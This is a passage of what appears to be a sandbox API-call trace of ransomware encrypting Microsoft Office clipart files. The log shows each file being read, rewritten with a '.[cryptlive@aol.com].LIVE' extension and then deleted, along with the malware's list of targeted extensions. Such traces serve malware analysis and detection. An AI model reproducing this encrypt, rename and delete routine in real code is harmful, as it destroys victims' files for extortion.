lpOverlapped=0x0) returned 1 [0136.836] ReadFile (in: hFile=0x38c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.836] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.836] SetEndOfFile (hFile=0x39c) returned 1 [0136.836] CloseHandle (hObject=0x39c) returned 1 [0136.836] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.836] SetEndOfFile (hFile=0x38c) returned 1 [0136.838] CloseHandle (hObject=0x38c) returned 1 [0136.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0136.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.839] lstrlenW (lpString=".doc") returned 4 [0136.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.839] lstrlenW (lpString=".docx") returned 5 [0136.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.839] lstrlenW (lpString=".pdf") returned 4 [0136.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.839] lstrlenW (lpString=".xls") returned 4 [0136.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.839] lstrlenW (lpString=".xlsx") returned 5 [0136.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.839] lstrlenW (lpString=".ppt") returned 4 [0136.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.840] lstrlenW (lpString=".zip") returned 4 [0136.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.840] lstrlenW (lpString=".rar") returned 4 [0136.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.840] lstrlenW (lpString=".bz2") returned 4 [0136.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.840] lstrlenW (lpString=".7z") returned 3 [0136.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.840] lstrlenW (lpString=".dbf") returned 4 [0136.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.840] lstrlenW (lpString=".1cd") returned 4 [0136.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.840] lstrlenW (lpString=".jpg") returned 4 [0136.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.840] lstrlenW (lpString=".doc") returned 4 [0136.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.840] lstrlenW (lpString=".docx") returned 5 [0136.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.840] lstrlenW (lpString=".pdf") returned 4 [0136.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.840] lstrlenW (lpString=".xls") returned 4 [0136.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.840] lstrlenW (lpString=".xlsx") returned 5 [0136.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.840] lstrlenW (lpString=".ppt") returned 4 [0136.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.840] lstrlenW (lpString=".zip") returned 4 [0136.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.841] lstrlenW (lpString=".rar") returned 4 [0136.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.841] lstrlenW (lpString=".bz2") returned 4 [0136.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.841] lstrlenW (lpString=".7z") returned 3 [0136.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.841] lstrlenW (lpString=".dbf") returned 4 [0136.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.841] lstrlenW (lpString=".1cd") returned 4 [0136.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0136.841] lstrlenW (lpString=".jpg") returned 4 [0136.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.841] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.841] lstrlenW (lpString="BL00195_.WMF") returned 12 [0136.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0136.862] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=8070) returned 1 [0136.862] CloseHandle (hObject=0x328) returned 1 [0136.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0136.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0136.890] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.890] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.891] GetLastError () returned 0x0 [0136.891] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1f86, lpOverlapped=0x0) returned 1 [0136.903] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0136.904] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.904] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.904] SetEndOfFile (hFile=0x388) returned 1 [0136.904] CloseHandle (hObject=0x388) returned 1 [0136.905] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.905] SetEndOfFile (hFile=0x384) returned 1 [0136.908] CloseHandle (hObject=0x384) returned 1 [0136.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0136.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.909] lstrlenW (lpString=".doc") returned 4 [0136.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.909] lstrlenW (lpString=".docx") returned 5 [0136.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.909] lstrlenW (lpString=".pdf") returned 4 [0136.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.909] lstrlenW (lpString=".xls") returned 4 [0136.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.909] lstrlenW (lpString=".xlsx") returned 5 [0136.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.909] lstrlenW (lpString=".ppt") returned 4 [0136.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.909] lstrlenW (lpString=".zip") returned 4 [0136.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.909] lstrlenW (lpString=".rar") returned 4 [0136.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.909] lstrlenW (lpString=".bz2") returned 4 [0136.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.910] lstrlenW (lpString=".7z") returned 3 [0136.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.910] lstrlenW (lpString=".dbf") returned 4 [0136.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.910] lstrlenW (lpString=".1cd") returned 4 [0136.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.910] lstrlenW (lpString=".jpg") returned 4 [0136.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.910] lstrlenW (lpString=".doc") returned 4 [0136.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.910] lstrlenW (lpString=".docx") returned 5 [0136.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.910] lstrlenW (lpString=".pdf") returned 4 [0136.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.910] lstrlenW (lpString=".xls") returned 4 [0136.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.910] lstrlenW (lpString=".xlsx") returned 5 [0136.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.910] lstrlenW (lpString=".ppt") returned 4 [0136.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.910] lstrlenW (lpString=".zip") returned 4 [0136.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.910] lstrlenW (lpString=".rar") returned 4 [0136.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.910] lstrlenW (lpString=".bz2") returned 4 [0136.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.910] lstrlenW (lpString=".7z") returned 3 [0136.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.911] lstrlenW (lpString=".dbf") returned 4 [0136.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.911] lstrlenW (lpString=".1cd") returned 4 [0136.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0136.911] lstrlenW (lpString=".jpg") returned 4 [0136.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.911] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0136.911] lstrlenW (lpString="BL00252_.WMF") returned 12 [0136.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0136.911] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4708) returned 1 [0136.911] CloseHandle (hObject=0x384) returned 1 [0136.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0136.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0136.912] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.912] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.912] GetLastError () returned 0x0 [0136.912] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1264, lpOverlapped=0x0) returned 1 [0136.923] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1270, lpOverlapped=0x0) returned 1 [0136.924] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0136.924] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.924] SetEndOfFile (hFile=0x388) returned 1 [0136.924] CloseHandle (hObject=0x388) returned 1 [0136.924] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.924] SetEndOfFile (hFile=0x384) returned 1 [0136.930] CloseHandle (hObject=0x384) returned 1 [0136.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0136.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.931] lstrlenW (lpString=".doc") returned 4 [0136.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.931] lstrlenW (lpString=".docx") returned 5 [0136.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.931] lstrlenW (lpString=".pdf") returned 4 [0136.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.932] lstrlenW (lpString=".xls") returned 4 [0136.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.932] lstrlenW (lpString=".xlsx") returned 5 [0136.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.932] lstrlenW (lpString=".ppt") returned 4 [0136.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.932] lstrlenW (lpString=".zip") returned 4 [0136.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.932] lstrlenW (lpString=".rar") returned 4 [0136.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.932] lstrlenW (lpString=".bz2") returned 4 [0136.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.932] lstrlenW (lpString=".7z") returned 3 [0136.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.932] lstrlenW (lpString=".dbf") returned 4 [0136.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.932] lstrlenW (lpString=".1cd") returned 4 [0136.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.932] lstrlenW (lpString=".jpg") returned 4 [0136.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.932] lstrlenW (lpString=".doc") returned 4 [0136.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.932] lstrlenW (lpString=".docx") returned 5 [0136.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0136.932] lstrlenW (lpString=".pdf") returned 4 [0136.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.932] lstrlenW (lpString=".xls") returned 4 [0136.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.932] lstrlenW (lpString=".xlsx") returned 5 [0136.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0136.933] lstrlenW (lpString=".ppt") returned 4 [0136.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.933] lstrlenW (lpString=".zip") returned 4 [0136.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.933] lstrlenW (lpString=".rar") returned 4 [0136.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.933] lstrlenW (lpString=".bz2") returned 4 [0136.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.933] lstrlenW (lpString=".7z") returned 3 [0136.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.933] lstrlenW (lpString=".dbf") returned 4 [0136.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.933] lstrlenW (lpString=".1cd") returned 4 [0136.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0136.933] lstrlenW (lpString=".jpg") returned 4 [0136.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.933] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.281] lstrlenW (lpString="BL00261_.WMF") returned 12 [0137.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0137.341] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=12482) returned 1 [0137.341] CloseHandle (hObject=0x328) returned 1 [0137.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0137.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0137.342] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.342] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.342] GetLastError () returned 0x0 [0137.342] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x30c2, lpOverlapped=0x0) returned 1 [0137.344] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0137.345] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.345] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.345] SetEndOfFile (hFile=0x39c) returned 1 [0137.345] CloseHandle (hObject=0x39c) returned 1 [0137.345] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, 